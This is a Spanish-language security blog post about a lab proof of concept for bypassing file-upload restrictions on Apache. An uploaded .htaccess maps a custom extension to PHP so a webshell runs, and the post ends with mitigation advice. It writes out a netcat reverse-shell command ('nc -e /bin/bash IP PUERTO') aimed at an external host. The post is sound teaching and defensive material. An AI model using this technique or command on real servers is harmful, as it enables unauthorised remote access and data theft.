Blog

Noticias y eventos

Normalmente, cuando nos encontramos con un servidor web que autoriza la subida de archivos, una de las vías comunes es tratar de bypassear las políticas de restricción establecidas. De esta forma, un atacante lograría depositar contenido de carácter malicioso en el sistema, del cual se beneficiaría en una post-explotación como la que explicaremos a continuación.

Los archivos .htaccess, son archivos en formato ASCII como el que cualquiera puede crear con el bloc de notas, popularizado por el Servidor HTTP Apache, que es el más usado en el mundo cuando hablamos de servidores web. Estos archivos, permiten definir diferentes directivas de configuración para cada directorio (con sus respectivos subdirectorios), sin necesidad de editar el archivo de configuración principal de Apache. De entre sus principales utilidades, podemos destacar las siguientes:

Redirigir subdominio a subcarpeta
Redirigir web mediante redirecciones 301, 302
Redirigir web a subcarpeta
Control de acceso al sitio
Control de acceso a carpetas
Listado de carpetas
Redirigir peticiones con www.example.org a example.org y al contrario
Redirigir web amigable con SEO
Redireccionar el tráfico web
Redireccionar a conexión segura HTTPS
Redireccionar usuarios para usar HTTPS para una carpeta en particular
Evitar el hotlinking
Cambiar la pagina por defecto
Forzar el cacheo de nuestro sitio
Mejorar la compatibilidad de los caracteres
Crear URL amigables

Como buena práctica, algunos servidores web con sistemas de subida de archivos, suelen alojar un fichero .htaccess con determinadas políticas de restricción definidas, alojado principalmente en un directorio padre que tenga el control de los subdirectorios que le descienden. Estas políticas de restricción definidas, por ejemplo, podrían suponer un problema al atacante que pretende subir archivos maliciosos en el servidor, como un fichero .PHP malintencionado. Esto es así dado que desde el propio .htaccess, se pueden establecer “normas” que autoricen la subida de archivos con extensiones específicas, impidiendo así la subida de archivos con extensiones ‘.php’, ‘.php5’, o cualquiera que se salga del scope definido. A su vez, es común hacer uso de estos para evitar los ataques de doble extensión (ejemplo.php.pdf).

Presentamos un diagrama del proceso, en él vemos cómo el archivo ‘.htaccess’ evita que el fichero sea depositado en el sistema:

Aunque bien es cierto que estos archivos nos permiten tener más control sobre lo que es almacenado en el sistema, procesado del lado del servidor, también puede ser aprovechado por un atacante para definir una nueva política de restricción, sobreescribiendo el archivo original en caso de poseer una mala configuración de permisos o simplemente alojándolo en caso de no existir. Esto abre un gran vector de ataque, pues algunas plataformas lo único que hacen es comprobar la validación por el lado del cliente a la hora de subir los archivos, pero no del lado del servidor, como es en el caso que veremos.

Como prueba de concepto, contamos con una máquina desde VirtualBox para practicar, donde detallaremos el proceso. Esta máquina, cuenta con una pestaña ‘New picture‘ básica, donde se nos permite subir una foto. La validación se lleva a cabo del lado del cliente, y no somos capaces de subir directamente archivos de extensión ‘.php’:

El archivo malicioso que intentamos subir, cuenta con una variable ‘cmd’ mal parametrizada, la cual posteriormente desde la URL nos permite hacer RCE (Remote Code Execution) en caso de poder apuntar hacia el fichero ‘malicious.php’:

Existen muchas técnicas de Bypassing, logrando finalmente subir este fichero malicioso, pero esta vez lo que haremos será subir un archivo ‘.htaccess’ con el siguiente contenido:

Y obtenemos la siguiente respuesta por parte del servidor web:

Donde vemos que hemos sido capaces de subir nuestro ‘.htaccess’. En este caso, por cada archivo que subimos, podemos especificar un nombre para distinguirlo de los demás. Para no confundir, hemos decidido ponerle de título ‘Política de Restricción‘, lo demás ya estaba por default.

¿Qué estamos consiguiendo con esto?, definir una política que diga: “Quiero que Apache interprete archivos con extensión ‘.enigmasec’ utilizando el Engine/Motor PHP”.

Por lo tanto, lo que el atacante podría hacer ahora es renombrar su archivo ‘malicious.php‘  a ‘malicious.enigmasec‘, subirlo al servidor y Bypassear la validación:

Logramos la ejecución de código remoto desde la propia URL, lo que en otras palabras quiere decir que ha interpretado nuestra extensión con PHP. Una vez el atacante logra subir su archivo malicioso y hacer RCE, podría acceder directamente al sistema entablando una simple conexión reversa vía Netcat (nc -e /bin/bash IP PUERTO) frente a un VPS externo. En nuestro caso, por estar trabajando en red local con un entorno controlado, especificamos la IP Privada de nuestra máquina, pero el resultado es el mismo:

Y ya estaríamos dentro del sistema, el siguiente paso sería la escalada de privilegios para convertirnos en administradores (root), pero esto no quiere decir que mientras tanto no se pueda llegar a robar información de carácter sensible.

 

Mitigaciones

Para evitar que esto sea posible, tenemos 2 caminos a elegir. Si el administrador decide crear el archivo ‘.htaccess’ dentro del mismo directorio (no muy recomendado, preferible en el directorio padre) donde se almacenan las subidas, tendrá que configurar los permisos para que ‘otros’ no puedan alterar el contenido, evitando de esta forma el ataque de sobreescritura y la modificación de políticas establecidas. Es recomendable que sea ‘root’ el propietario de este archivo, así como el grupo asignado, definiendo el permiso ‘rwx——‘ (700) sobre el mismo para que únicamente ‘root’ pueda modificar este recurso.

Un ‘.htaccess’ típico que sólo permite archivos gif, png, jpg, jpeg y png debería incluir el siguiente código:

Por otro lado, es recomendable crear una lista de mime-types aceptados, así como subir los archivos en un directorio fuera del server root a ser posible. Como último consejo, las capas de seguridad clave que previenen este tipo de ataques es confiar siempre no sólo en la validación por el lado del cliente sino también del lado del servidor.

 

 

Artículo escrito por: Marcelo Vázquez
Correo: redteam@enigmasec.com